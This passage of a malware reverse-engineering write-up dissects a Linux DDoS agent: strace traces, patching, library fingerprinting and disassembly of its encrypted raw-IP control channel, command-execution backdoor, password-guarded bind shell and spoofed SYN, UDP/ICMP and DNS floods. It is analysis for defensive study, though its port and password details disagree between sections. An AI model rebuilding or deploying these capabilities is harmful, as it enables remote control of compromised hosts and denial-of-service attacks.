[pid   924] open("/tmp/.hj237349", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 1

[pid   924] dup2(1, 2)                  = 2

[pid   924] fcntl(1, F_GETFD)           = 0

[pid   924] execve("/bin/csh", ["/bin/csh", "-f", "-c", "\352\352\352\352\352\352\352\340\352\352\352\352\352\352"...], [/* 25 vars */]) = 0

 

Moreover, the output of the command is redirected to file /tmp/.hj237349. Later on...

 

[pid   922] open("/tmp/.hj237349", O_RDONLY) = 1

[pid   922] fstat(1, {st_mode=S_IFREG|0644, st_size=8, ...}) = 0

[pid   922] old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40000000

[pid   922] read(1, "goodbye\n", 4096)  = 8

[pid   922] read(1, "", 4096)           = 0

[pid   922] socket(PF_INET, SOCK_RAW, IPPROTO_RAW) = 2

[pid   922] sendto(2, "E\0\2#Q\216\0\0\372\vmB\0\0\0\0\0\0\0\0\3\0\1\33\231\37"..., 547, 0, {sin_family=AF_INET, sin_port=htons(2560), sin_addr=inet_addr("0.0.0.0")}}, 16) = 547

 

This temporal file is opened and read. Then a new socket in raw mode is created and some information is sent through it. Most likely the results of the command are sent back to the master side. We had previously modified /bin/csh to be a simple script that returned “goodbye”, just to make sure if at any time was being called and how. You can see this string in the strace output.

 

So, this case 2 is a kind of backdoor program.

 

We run this strace command with all the 12 binaries (you can see the complete output for these commands in appendix 0), and learn more things about the different cases.

 

Then we tried to run fenris over them, and found the disgusting fact that some more fork calls made it impossible to work. One approach would be to patch every fork() call one by one, but instead we decided to patch the library fork call, so it always returns 0. That way, the binary would always run as the child process without creating a new one. We could miss some information that way, if the parent process was supposed to do something, but at this point it seemed that the binary don’t like parents to work a lot.

 

To patch the library call we changed the beginning of the function from:

 

0000:080571E8 libc_fork       proc near

push    ebp

mov     ebp, esp

mov     eax, 2

 

to:

                    mov     eax,0

                    retn

                

Once again, using a binary editor, we changed the string:

 

55 89 E5 B8 02 00 00 00 CD 80 89 C2 85 D2

 

to:

B8 00 00 00 00 C3 00 00 CD 80 89 C2 85 D2

 

And generated another 12 binaries that, this time, never create a child process.

 

We could now run fenris against them.

 

Again, for the sake of brevity, the big output produced by fenris is not included. It is enough to say that it allowed us to identify several more library functions, like sprintf, execve, execl, strlen, setenv, unsetenv, dup2, kill etc... that make the assembler listing even more readable.

 

So, analyzing this output, at this point we reached these conclusions:

 

-          the-binary is a kind of agent program, that disguised as a system process, listen for a master to send him commands through the 0xB IP protocol.

-          The communications between master and agent is ciphered somehow. The function for decoding the packet data (at position 0x804A1E8) has still to be analyzed. We started to call this function as fnct_15, the name assigned by fenris.

-          The first byte of data after the IP header has to be a 0x2, and the first byte decoded is the command we want the agent to execute.

-          There are twelve different commands. And they appear to do the following:

-          case 0: Seems to craft a packet and send it back.

-          case 1: Calls time() and just exists. Probably some additional parameters are needed.

-          case 2: Runs a command with csh, redirecting its output to a file. Later on, the file is read and its contents sent back.

-          case 3: Tries to resolve a hostname to an IP address and then enters a kind of loop with alarm(600)+sigsuspend().

-          case 4: Seems to do the same as case 3.

-          case 5: Opens a TCP socket listening in port 23281. After sending something to this port, it does something with the string "TfOjG" and then opens a shell. Most probably is a kind of password.

-          case 6: Executes a command (like case 2), but no output is returned.

-          case 7: Calls kill(). Probably a kind of suicide order.

-          cases 8,9,10,11:  same as case 3.

-          Some cases seem to do nothing useful, probably because we didn’t send the proper parameters to them. Analyzing the decoding function becomes critical to continue our task.

 

 

Analyzing the decode function

 

Apart from the sprintf function identified by fenris, the fnct_15 is just a bunch of assembler directives, moving around bytes and transforming them. The easiest way to explain what we did to analyze its behaviour is this: we read the assembler and worked with gdb until we found what it did.

 

It is explained in a very detailed way in the Error! Reference source not found. section, so refer to it to get the full story. Here is enough to say that the decoding process is just a kind of delta algorithm combined with simple Caesar’s cipher.

 

Anyway, we were finally able to reproduce the decoding function, and –even more importantly- we were able to create an encoding function, so we could send the proper packets to the binary.

 

A new talkto program appeared, to incorporate this encode/decode capability. You can see the source code for it in appendix 0

 

Identifying more functions

 

We could now play with our new program and analyze the binary behaviour with differents input, but it was the time to think a bit:

 

After dozens of fenris and gdb executions, and hours of analysis of the assembler listings we had identified as C library functions around 70, and we knew the purpose of several others. But, as a simple grep over the objdump output showed, the binary had nearly 450 functions around. So we had done 15% of the job, more or less! The task to completely analyze the binary was a kind of infinite task, beyond our reach.

 

It didn’t make sense that the tool contained more than 300 original functions. If fenris hadn’t identify them as libray functions could be because:

 

-          They have been never executed. Fenris only does dynamic analysis, so a function has to be executed to be checked.

-          They are from libraries unknown to the fenris signatures database.

-          They have been slightly modified, so they appear not to be library functions.

-          They are in fact original non-library functions.

 

So we had an idea. What if we modify fenris so it analyzes all the functions from a binary and tries to identify them? After poking around some time, we decided it was easier to make a new small program than start modifying fenris, a much more complex tool.

 

In fact, to identify a function, fenris only computes the MD5 checksum with the first 24 bytes. We only need to compute the checksum from the bytes we need and search for it in the signatures database.

 

We, in the best of quick & dirty programming tradition, made the following:

 

-          afprint.c, a small C program (based on fenris fprints.c) that generates the MD5 checksum from 24 bytes taken from standard input.

-          checka, a shell script that, given a certain address and a binary file, dumps the first 24 bytes from a binary in the specified address, computes the signature and compare it with fenris databases, showing any matches.

-          checkf, a shell script that analyzes all the functions in a binary, generating their signatures and trying to identify them.

 

These utilities are available in appendixes 0, 0 and 0. Days later, with more time, we produced a quicker perl version of checkf, called identify.pl, which is also included as appendix 0.

 

With them, using fenris signatures, we were able to identify a bunch of functions. In appendix 0 you can see the output from checkf.

 

However, there still were several hundred unidentified functions. Could it be that the signatures were not the correct ones?

 

We knew the exact version of libc used by the author of “the-binary” and the exact version of compiler, so we did the following: got the sources for libc version 5.3.12, and installed a gcc compiler version 2.7.2.1.2. We built a libc.a file and extract its signatures from it with the help of the getfprints fenris utility. The signature file generated that way is included in appendix 0.

 

We then run checkf and, to our delight, much more functions were identified, up to 240. In the appendix 0 the output from this command is included. Even the socket functions (socket, sendto, recv, etc...) that we named as nonlibc_XXX, resulted to be libc functions.

 

We also noticed a lot of code not being identified as functions by IDA. That is probably because they were never called,  but the linker included them. So, with a little effort, we run a slightly modified checkf that checks not only the addresses referenced by a call instruction, but also every address after a retn instruction. That way another group of code was identify, but it was mostly useless, as is never referred. The total number of library functions identified moved up to 405.

 

Some functions that were only called by libc functions were still not identified. Obviously we didn’t know the compilation options for the library the author of “the-binary” used, so it is quite possible we are not using the very same library. At this point we agreed to accept this proposition: every function only called by libc functions are, almost sure, internal libc functions. So we just called them libc_unknownXXX. We found more than 70 of such functions.

 

To summarize the situation, at this point we had identified much of the code as library function, so strictly speaking of functions called and left for identification we had the following situation:

 


 


fnct_8 (the main() function), apart from library functions, calls five functions depending on the command received: fnct_32_bis, fnct_33, fnct_34, fnct_35 and calls_send_ip_raw_mode. We started using names different of the fenris ones because of the frequent name collisions. Other cases, like case 5, only call library functions.

 

The functions of encode & decode are called in several parts, and the group of fnct_18, fnct_19 & fnct_32 is profusely called everywhere. Apart from encode & decode, the purpose of the rest wasn’t clear enough.

 

It was time to come back to more gdb and assembler listing reading in order to clarify the purpose of these functions. The result of that analysis follows.

 

 

fnct_19 and its group

 

Function fnct_32 just calls fnct_19, but this function does a lot of byte movement, shifting, multiplying, etc... just to produce a single byte. During many days we doubt between two alternatives: it is a kind of random function or a kind of encrypting code.

 

After studying the code, it definitively remind us the code for a random number generator. But it is hard to imagine someone creating its own random function for this kind of binary. We started to be quite sure that it should be a libray function.

 

Then, looking again at the code, one of the first lines reads:

 

08055E49                 imul    edx, [eax], 41C64E6Dh

 

That is, multiplying a number with 1,103,515,245. Such arbitrary number could be around somewhere... Precisely! Searching in libc sources we found the following in file __random.c:

 

long int

DEFUN_VOID(__random)

{

  if (rand_type == TYPE_0)

    {

      state[0] = ((state[0] * 1103515245) + 12345) & LONG_MAX;

      return state[0];

    }

 

The very same number, and used inside the random() function. But why it is not identified? Let’s compare them with objdump:

 

# objdump -d --start-address 0x080559A0 /root/chroot/reverse/the-binary

/root/chroot/reverse/the-binary: no symbols

 

/root/chroot/reverse/the-binary:     file format elf32-i386

 

Disassembly of section .init:

Disassembly of section .text:

 

080559a0 <.text+0xd910>:

 80559a0: 55                         push   %ebp

 80559a1: 89 e5                      mov    %esp,%ebp

 80559a3: 57                         push   %edi

 80559a4: 56                         push   %esi

 80559a5: 53                         push   %ebx

 80559a6: 8b 55 08                   mov    0x8(%ebp),%edx

 80559a9: a1 58 89 07 08             mov    0x8078958,%eax

 80559ae: 89 10                      mov    %edx,(%eax)

 80559b0: 83 3d 5c 89 07 08 00       cmpl   $0x0,0x807895c

 80559b7: 0f 84 f3 01 00 00          je     0x8055bb0

 80559bd: be 01 00 00 00             mov    $0x1,%esi

 80559c2: 39 35 60 89 07 08          cmp    %esi,0x8078960

 80559c8: 0f 8e a6 01 00 00          jle    0x8055b74

 80559ce: 8b 3d 58 89 07 08          mov    0x8078958,%edi

....

 

# objdump -d __random.o |more

 

__random.o:     file format elf32-i386

 

Disassembly of section .text:

 

00000000 <__srandom>:

   0:    55                         push   %ebp

   1:    89 e5                      mov    %esp,%ebp

   3:    57                         push   %edi

   4:    56                         push   %esi

   5:    53                         push   %ebx

   6:    8b 55 08                   mov    0x8(%ebp),%edx

   9:    a1 b0 00 00 00             mov    0xb0,%eax

   e:    89 10                      mov    %edx,(%eax)

  10:    83 3d b4 00 00 00 00       cmpl   $0x0,0xb4

  17:    0f 84 f7 01 00 00          je     214 <__srandom+0x214>

  1d:    be 01 00 00 00             mov    $0x1,%esi

  22:    39 35 b8 00 00 00          cmp    %esi,0xb8

  28:    0f 8e a6 01 00 00          jle    1d4 <__srandom+0x1d4>

  2e:    8b 3d b0 00 00 00          mov    0xb0,%edi

 

 

They look more or less the same, but the reference to the global variable state[0] makes the coded instructions change. But it is still very similar... This task can still be automatized: if we get first 100 bytes of a function and correlate it with the first 100 of every library function, the maximum correlation could indicate a real match for this type of functions.

 

A real application should compute a mathematical correlation, but we were in a hurry: we developed some scripts to just compare these 100 bytes, one by one. These are the new utilities:

 

-          afprint2.c, a C program that generates the 100 bytes used for signature, reading from standard input. It is not just a pipe, because it tries to change/remove non-permanent values (just as fenris fprints does). Available as appendix 0.

-          fprint2.c, a C program that generates the 100 bytes used for signature for functions in an object file. Available as appendix 0.

-          getfprints2, based on fenris getfprints, generates signature (just 100 bytes processed with fprint2) for each function in a static library. Available as appendix 0.

-          checka2, a shell script that, given a certain address and a binary file, dumps the first 100 bytes from a binary in the specified address, computes this kind of signature of 100 and compare it with the databases produced with getfprints2, showing any  possible matches (functions where matches bytes where more than a certain limit, with a default of 80). Available as appendix 0. Its performance is really bad: we should transform it in a C program as soon as we have some time.

 

Using them, we can match the functions fnct_18 and fnct_19:

 

# ./checka2 0x08055E38 /root/chroot/reverse/the-binary

 

Fingerprint for address 0x08055E38 is 55 89 E5 83 3D 00 00 00 00 00 75 24 A1 00 00 00 00 69 10 6D 4E C6 41 81 C2 39 30 00 00 81 E2 FF FF FF 7F 89 10 A1 00 00 00 00 8B 00 89 EC 5D C3 8B 15 00 00 00 00 A1 00 00 00 00 8B 00 01 02 A1 00 00 00 00 8B 10 C1 EA 01 83 05 00 00 00 00 04 A1 00 00 00 00 39 05 00 00 00 00 77 13 A1 00 00 00 00 A3 50

Searching in databases for a similar (80%) function... (this can take a while)

 

random matched with 89%                                

__random matched with 89%                              

2 possible matches found with correlation > 80%.       

 

 

# ./checka2 0x080559A0 /root/chroot/reverse/the-binary

 

Fingerprint for address 0x080559A0 is 55 89 E5 57 56 00 00 00 00 A1 00 00 00 00 89 10 83 3D 00 00 00 00 00 0F 84 F3 01 00 00 BE 01 00 00 00 39 35 00 00 00 00 0F 8E A6 01 00 00 8B 3D 00 00 00 00 A1 00 00 00 00 48 83 E0 03 39 35 00 00 00 00 7E 78 85 C0 0F 84 AF 00 00 00 83 F8 01 7E 6B 83 F8 02 7E 35 8B 4C B7 FC 8D 14 00 00 00 00 01 CA 8D

Searching in databases for a similar (80%) function... (this can take a while)

 

__srandom matched with 93%                             

srand matched with 93%                                 

srandom matched with 93%                               

3 possible matches found with correlation > 80%.

 

 

functions that generate 0xB network protocol packets

 

Once random() and srand() had been identified, we tried to analyze the functions called inside cases 0 & 2 (calls_send_ip_raw_mode & send_ip_raw_mode):

 

There are two network functions that are called inside the main switch/case sentence (0x0804831C) found inside “the-binary”. Two branches use this network functions, case0 (0x0804835C) and case2 (0x08048590). The detailed call references to these functions used inside the whole binary program are shown bellow:

 

Inside CASE0 we have a call to “calls_send_ip_raw_mode”:

0000:0804835C case_0:  “case0 begins here”

...

0000:080483E3                 call    calls_send_ip_raw_mode

 

Inside CASE2 we have also a call to “calls_send_ip_raw_mode”:

0000:08048590 case_2:  “case2 begins here”

...

0000:080486DF                 call    calls_send_ip_raw_mode

 

The function that has been called “calls_send_ip_raw_mode” calls internally another function two times. This one has been called “send_ip_raw_mode”:

 

0000:08048ECC       calls_send_ip_raw_mode: “this function begins in this memory address”

...

0000:08048EFD                call    send_ip_raw_mode

0000:08048F1B                 call    send_ip_raw_mode

 

 

Detailed description of function: “calls_send_ip_raw_mode” (0x8048ecc)

 

This function expected 3 parameters:

 

-          A fixed number (packet size) always equal to 400 (0x190) plus a variable size: the sum of both will determine the packet size to be sent. Lets call it TOTAL in all the description.

-          Two pointers: one to data packet information and another to the destination IP address definition, what always seems to be 0.0.0.0 (localhost) except if CASE 1 has been called before CASE 0 (see details later).

 

Continuing is the assembler code example pushing the parameters in the stack and calling this function:

 

All the assembler code shown belongs to the “objdump” command output if HEX bytes are shown as second column, or belongs to IDA if not.

 

80483ce:   8d 83 90 01 00 00         lea    0x190(%ebx),%eax

80483d4:   50                               push   %eax

80483d5:   8b 95 20 bb ff ff                mov    0xffffbb20(%ebp),%edx

80483db:   52                               push   %edx

80483dc:   8b 8d 1c bb ff ff                mov    0xffffbb1c(%ebp),%ecx

80483e2:   51                               push   %ecx

80483e3:   e8 e4 0a 00 00                   call   0x8048ecc

 

After being called, the main action it takes is to determine how to behave. It can take 2 very different actions, based on the checking of a global variable (0x807e784):

 

8048ed8: 83 3d 84 e7 07 08 00       cmpl   $0x0,0x807e784

 

If this variable is equal to zero then it sends a packet as described bellow to itself (starting at address 0x8048ee1), using as the destination IP address the address 0.0.0.0. It is a kind of echo health checking operation.

 

But, if it is not zero, (starting at address 0x8048f10) apart from calling “usleep()” during 4000 microseconds, it sends the packet to a different system. In this case, “the-binary” is not working as a DDoS agent (as it does in other switch cases), but it is playing the role of a DDoS handler sending remote commands to other distributed “the-binary” agents running in remote systems. So, the same binary code is able to run with both DDoS roles, agent and handler.

 

The destination IP address used to send the packet to, is determined by the input received in CASE 1. The following global variables defined how CASE 0 should behave and against which IP address:

 

80483f7: 89 15 84 e7 07 08          mov    %edx,0x807e784

80483fd: 8a 85 10 f8 ff ff          mov    0xfffff810(%ebp),%al

8048403: 88 05 80 e7 07 08          mov    %al,0x807e780

8048409: 8a 85 11 f8 ff ff          mov    0xfffff811(%ebp),%al

804840f: 88 05 81 e7 07 08          mov    %al,0x807e781

8048415: 8a 85 12 f8 ff ff          mov    0xfffff812(%ebp),%al

804841b: 88 05 82 e7 07 08          mov    %al,0x807e782

8048421: 8a 85 13 f8 ff ff          mov    0xfffff813(%ebp),%al

8048427: 88 05 83 e7 07 08          mov    %al,0x807e783

 

CASE 1 is the only place in the code where these variables are written.

 

Variable 0x807e784 defines the behaviour, while variables from 0x807e780 to 0x807e783 define the source IP address to be used. So in the packets sent to the remote agents, you can use your own real IP address as source IP (“0.0.0.0”), or you can spoof it if you want.

 

Once it knows the action that is going to run, it prepares the stack to be able to call another function: “send_ip_raw_mode”, the one that will actually send the packet.

 

The algorithm followed by “the-binary” is even more complex. In the input data it can received a list of IP addresses corresponding with remote agents, and if the value is not zero it sends more than one packet. Instead, it runs a loop sending a packet to any of the agents in the list, waiting the mentioned 4 ms between “sendto()” calls.

 

The loop code is the following:

 

0000:08048EE8 loc_8048EE8: ; CODE XREF: calls_send_ip_raw_mode+3E.j

0000:08048EE8                 push    0FA0h

0000:08048EED                 call    libc_usleep     ; usleep(4000)

0000:08048EF2                 push    edi

0000:08048EF3                 mov     edx, [ebp+arg_4]

0000:08048EF6                 push    edx

0000:08048EF7                 push    ebx

0000:08048EF8                 push    offset byte_807E780

0000:08048EFD                 call    send_ip_raw_mode

0000:08048F02                 add     esp, 14h

0000:08048F05                 add     ebx, 4

0000:08048F08                 cmp     ebx, esi

0000:08048F0A                 jle     short loc_8048EE8

 

The EBX register is used to go through the loop comparison (0x08048F08), and check if it is equal or less than ESI, the total packet length. While the total length is not reached, it continues reading more destination IP addresses, any of them belonging to a new remote agents. For each loop iteration, the index EBX is increased by 4, the four HEX values that conforms an IP address: X.X.X.X:

 

0000:08048F05                 add     ebx, 4

 

So, the packet that has been received through the CASE 0 call, contains all the remote agents IP addresses you want to communicate with.

 

Before calling the network function “send_ip_raw_mode”, it places in the stack the following information:

 

-          A pointer to the data area.

-          Total packet size, we test it with 1500 bytes packets, the default in our network client.

-          Number with the extra bytes added to 0x190 when entering case 0 = TOTAL – 0x190.

 

8048ecf: 57                         push   %edi

8048ed0: 56                         push   %esi

8048ed1: 53                         push   %ebx

 

and then:

 

-          Total bytes number, that is, the previous number plus 0x190 = TOTAL.

-          Another pointer to the packet information to be sent.

-          Pointer to the destination IP address.

-          Pointer to a data area to save results: 0x807e780.

 

The first three arguments of the last four were taken from the previous function call, the one that was run to invoke this function.

 

8048f10: 57                                push   %edi

8048f11: 8b 55 0c                   mov    0xc(%ebp),%edx

8048f14: 52                                push   %edx

8048f15: 50                                push   %eax

8048f16: 68 80 e7 07 08             push   $0x807e780

 

At address 0x8048f1b it calls function “send_ip_raw_mode” where all the main actions for sending the packet take place. The same function is also called at address 0x8048efd, if a specific memory position (0x807e784) is different than zero (it doesn´t seem to be the usual situation).

 

8048ed8: 83 3d 84 e7 07 08 00       cmpl   $0x0,0x807e784

 

 

Detailed description of function: “send_ip_raw_mode” (0x8048f94)

 

All the assembler code shown belongs to the “objdump” command output.

 

To see the arguments this function is called with, it should be analyze the description of the function called “calls_ send_ip_raw_mode”. Once invoked, one of the first things it does is reserving a buffer to work on later:

 

8048f97: 83 ec 44                   sub    $0x44,%esp

 

Then it saves 3 arguments in stack related with sizes: TOTAL, total packet size and TOTAL-0x190.

 

After that, it prepares the 3 arguments needed to call “socket()” system call: PF_INET (2), SOCK_RAW (3), IPPROTO_RAW (FF). If  it is successful, the socket is created and the file descriptor number “1” is returned.

 

8048fa9: e8 46 dd 00 00             call   0x8056cf4

 

Besides, it calls “malloc()” system call with TOTAL + 23. This reserved memory area will be used to build the RAW packet (it is typically placed at address 0x807eba0 and this will be the reference for this description, but of course it is a dynamic memory reservation).

 

8048fc0: e8 af 2d 01 00             call   0x805bd74

 

In both system calls, “socket()” and “malloc()”, error checking is considered, exiting if any of them fail.

 

From address 0x8048fd8 to address 0x804903a, the source and destination addresses of the new created packet are set. Apart from that, it tries to resolve the name of the destination IP address, calling a function that will run the system call “gethostbyname()” (see memory address 0x804913f):

 

804903a: e8 f9 00 00 00             call   0x8049138

 

Beginning at address 0x804903f it begins the complete building process of the new RAW IP network packet. All the mentioned information is part of the IP protocol header (see RFC 791):

 

It sets the packet as IP version 4:

 

804904e: c6 06 45                   movb   $0x45,(%esi)

 

It also set the TTL to 250:

 

8049051: c6 46 08 fa                movb   $0xfa,0x8(%esi)

 

As we already know, the protocol in this packet is the one used in the control channel: 0xB:

 

8049055: c6 46 09 0b                movb   $0xb,0x9(%esi)

 

It needs to set the packet length value: TOTAL (payload) + headers size (0x16).

 

8049059: 83 c4 1c                   add    $0x1c,%esp

804905c: 66 8b 45 14                mov    0x14(%ebp),%ax

8049060: 66 83 c0 16                add    $0x16,%ax

8049064: 86 c4                             xchg   %al,%ah

8049066: 66 89 46 02                mov    %ax,0x2(%esi)

804906a: c6 46 01 00                movb   $0x0,0x1(%esi)

 

Again, the random function, identified as “fnct_32” is used to configure the packet identification field:

 

804906e: e8 e5 cf 00 00             call   0x8056058

8049073: 86 c4                             xchg   %al,%ah

8049075: 66 89 46 04                mov    %ax,0x4(%esi)

 

Also, the packet offset must be set, being always zero:

 

8049079: 66 c7 46 06 00 00          movw   $0x0,0x6(%esi)

 

Next field to be filled up in the packet is one of the most complex values, the checksum:

 

From address:

0000:0804907F                 mov     word ptr [esi+0Ah], 0

to address:

0000:080490CF                mov     [edi+0Ah], ax

 

Next step is to point to the payload, and make a copy using the “memcopy” function. It copies the data from the old received and processed packet information to the new allocated memory area, just after the header recently created and configured.

 

80490e5: e8 42 d4 00 00             call   0x805652c

 

But before copying the payload, it sets a “3” at the beginning of the new packet to be sent:

 

80490d6: c6 07 03                   movb   $0x3,(%edi)

 

So the new payload changes: first HEX value is not 0x02 but 0x03 !! This behaviour allow to distinguish if “the-binary” is acting as an DDoS agent or handler:

-          0x02: This is the value when attacker is communicating with handler.

-          0x03: This is the value when handler is talking with a final agent.

 

Once the whole new packet information has been filled up in the allocated memory, the last relevant action to be taken is how to send this packet. It just prepare the stack with all the arguments needed to call “sendto()” system call (in reverse order):

 

-          File descriptor: 1

-          Pointer to the IP packet: 0x807eba0

-          Packet length: TOTAL + 0x16

-          Flags: zero, that is, there are no flags.

-          The “struct sock_addr” reference: it points to this network structure.

-          Length of the previous struct: 0x10

 

Once everything ha been prepared, the packet is sent:

 

8049101: e8 36 db 00 00             call   0x8056c3c

 

Finally, it verifies again the error checking associated to the last system call, and if successful, then it frees the previously memory allocated calling the “free()” function and closes de file descriptor, “close(1)”.

 

fcnt_32bis, fcnt_33, fcnt_34, fcnt_35

 

These functions are all very similar: they all take (almost) the same parameters and they all use them to launch a denial of service attack.

 

For example, these are the parameters of the function fcnt_32bis, that launches a SYN attack:

IP1           - 4 bytes decimal : Target IP

IP2           - 4 bytes decimal : Source IP

IP3           - FQDN (fully qualified domain name)

int a          - If a=0 then it will use IP1, else it will use IP3, as the destination IP address.

int b          - If b!=0 then it will use IP2, else it will use random IPs, as the source IP address.

int c,d        - Used to select the destination TCP port

int e          - A counter that influences the strenght of the first burst of packets.

 

It first sends a burst of forged TCP SYN packets against the target (IP1 or IP3) with either a fixed (IP2) or random source IPs. Then it continues to send the same kind of traffic but leaving 300 microseconds between packets.

When the target is specified as a fully qualified domain name (IP3) it will try to translate its name into the corresponding IP address every 40,000 packets. If it is unable to do so, then it sleeps for 10 minutes before continuing with the very same job. We think it does so for two reasons: one, if the DNS translation gives different IPs (e.g. round robin) it will attack all of them in turn; and second, if it can't translate the name then probably someone is taking measures to protect the target and it is the best option to remain completely silent for a long while and then awake and strike again. This is not the only function where it uses this technique.

The loop never ends: it will keep on attacking for ever.

 

The other functions work very much like fcnt_32bis, each offering its own speciality:

-          fcnt_33 performs a UDP or ICMP bombing against the target ip

-          fcnt_34 sends lots of DNS queries to a big, although finite and not random, set of DNS servers it knows about

-          fcnt_35 launches a huge amount of DNS queries against the target ip

 

 

Getting somewhere...

 

And now, at last, we could analyze the detail of the different cases:

 

case 0:

 

Case 0 firstly manages how to execute the two branches of a “fork()” system call, that is, the child process branch and the parent process one. Both processes continue running the following actions.

 

It calls a function that allows to execute the encoding algorithm over some packet information provided through one of the pointers used as a function argument, at address 0x080483BA.

It also uses a fixed value, 0x190 (400d), as an index for this encoding procedure. Looking into the procedure, it runs over a loop 400 times, going through the data packet, so it only encodes the first 400 bytes in the data section. This behaviour can be easily confirmed taking network traces and looking into the payload; the first bytes are in an encrypted format while the last bytes, over 400, are in clear text. The data encoded is the received one but removing the two first HEX values.

 

The encoding function starts at address 0x804a194.

 

After finishing the encoding process it uses the returned information to be able to generate a new network packet. Before calling this function to send a RAW packet, “calls_send_ip_raw_mode” at address 0x080483E3, it calls a random function at address 0x080483BF (we call it “fnct_32”). Then it sends the packet.

 

When exiting at the end, it returns to the waiting loop, “usleep_and_restart”.

 

See detailed description of function “calls_send_ip_raw_mode” to know how it works, because based on a specific variable value, it sends a packet to itself, destination IP address equal to 0.0.0.0, or it tries to contact other binaries of the same type, sending remote commands with the purpose, for example, of launching a DDoS attack. It uses a loop to send the same command to all of them, once all their IP addresses have been received in the input packet sent using this case. Apart from that, it allow to spoof IP source address based on CASE 1 input data.

 

Summarizing, the CASE 0 description is the following:

 

Through this case you can send control commands (in a ciphered format) to other similar agents or even to itselft, based on protocol 0xB (First byte: 02). The agent list is received through the network as a set of IP addresses. This case behaviour is controlled by the input received by case 1: it is posible to define if the packet is destined to itself or to the remote agents, plus, the definition of the IP source address, which cna be te system one or a spoofed address.

Once the configuration has taken place, it begins the network packets generation: all the packets belongs to protocol 0xB (First byte: 03), and allow the distribution of remote command to the DDoS agents.

 

 

case 1:

 

The first part writes some memory addresses that configure the behaviour of the_binary next time it goes through case 0 (the first word is a switch and the other four are the source IP address that it will use when talking to the agents):

 

0000:080483F0                 movzx   edx, [ebp+var_FFE] ; case 0x1

0000:080483F7                 mov     ds:dword_807E784, edx

0000:080483FD                 mov     al, [ebp+var_7F0]

0000:08048403                 mov     ds:byte_807E780, al

0000:08048409                 mov     al, [ebp+var_7EF]

0000:0804840F                 mov     ds:byte_807E781, al

0000:08048415                 mov     al, [ebp+var_7EE]

0000:0804841B                 mov     ds:byte_807E782, al

0000:08048421                 mov     al, [ebp+var_7ED]

0000:08048427                 mov     ds:byte_807E783, al

 

 

case 2:

 

We have already talked about case 2. Once the library functions are all identified, it is quite trivial to follow it. Here is the listing of those calls (the complete assembler listing is omitted):

 

call libc_fork

call libc_setsid

call libc_signal ; signal(0x11,1)

call libc_fork

call libc_sleep ; sleep(10)

call libc_kill   ; kill() first child if second fork() failed

call libc_sprintf ; sprintf(var_800, "/bin/csh -f -c \"%s\" 1>%s 2>&1",decode result,"/tmp/.hj237349")

call libc_system ; system(var_800)

call libc_fopen ; fopen(“/tmp/.hj237349”,”r”)

call libc_fread ; fread(var_received_data,1,398,FILE)

call encode   ; encode the read data

call random

call call_send_ip_raw_mode ; send it back

call libc_usleep; usleep(400.000)

call libc_fclose

call libc_remove ; remove(“/tmp/.hj237349”)

call libc_exit

 

 

case 3:

 

It performs a DoS attack against many DNS servers by sending them a huge amount of UDP DNS queries of SOA records.

 

Here you can see a sample packet generated with fnct_34, and how it match a DNS normal SOA query, according to the standard:

 

(From RFC 1035, pages 26-28)

 

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    |                      ID                       |

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    |                    QDCOUNT                    |

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    |                    ANCOUNT                    |

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    |                    NSCOUNT                    |

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    |                    ARCOUNT                    |

    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

 

(gdb) x /100xb $eax

0xbfffb184:     0x45   0x00   0x00   0x31   0xcc   0x00   0x00   0x00

0xbfffb18c:     0x8e   0x11   0xcf   0x86   0x03   0x04   0x05   0x06

0xbfffb194:     0x81   0x31   0x07   0xfa   0x70   0x72   0x00   0x35

0xbfffb19c:     0x00   0x1d   0x00   0x00   0xa7   0xd3   0x01   0x00

0xbfffb1a4:     0x00   0x01   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1ac:     0x03   0x6e   0x65   0x74   0x00   0x00   0x06   0x00

0xbfffb1b4:     0x01   0x00   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1bc:     0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1c4:     0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1cc:     0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1d4:     0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1dc:     0x00   0x00   0x00   0x00   0x00   0x00   0x00   0x00

0xbfffb1e4:     0x00   0x00   0x00   0x00

(gdb) x /100ub $eax

 

0x45     0x00   0x00   0x31   Version|IHL TypeofService Total-Length=49

 69      0      0      49     Identification       Flag Frag.Offset

204      0      0      0      TTL    Protocol      Checksum

142      17     207    134    Source address

  3      4      5      6      Destination address

129      49     7      250    Options + Padding

                       -----UDP Header---

112      114    0      53     SourcePort  DestinationPort=53

0        29     0      0      Length=29   Checksum

                       -----DNS Header---

167      211    1      0 ID(16bits)  QR/Opcode/AA/TC/RD RA/Z/Rcode

                                   (Standard Query, Recursion desired)

0        1      0      0      QDCOUNT(1 query)     ANCOUNT      

0        0      0      0      NSCOUNT ARCOUNT

3        110    101    116    3      "net" domain

0        0      6      0   (end of QNAME)  QTYPE(0 6 = T_SOA (start of au)

0        1      0      0      QCLASS(0 1 = INternet)

 

 

case 4:

 

It performs a UDP or ICMP bombing DoS attack against the selected target. See description of function fcnt_34 in the previous section.

 

case 5:

 

Having a look to the assembler listing, with all the functions identified and our comments, it is quite easy to understand what case 5 does: It creates a tcp listening socket in port 23218 and, if the input received is the correct password (“SeNiF”), it forks a shell with its stdin, stdout & stderr redirected to the socket. So, case 5 is a classical backdoor to the compromised system.

 

You can review the code by yourself:

 

case_5:        

                cmp     ds:child_PID, 0

                jnz     usleep_and_restart ; if there is a child running,

                                             ; ignore this command

                mov     ds:last_command_ID, 6

                push    1

                push    11h

                call    libc_signal     ; Ignore SIGCHLD

                call    libc_fork       ; fork()

                mov     ds:child_PID, eax

                add     esp, 8

                test    eax, eax

                jnz     usleep_and_restart ; default

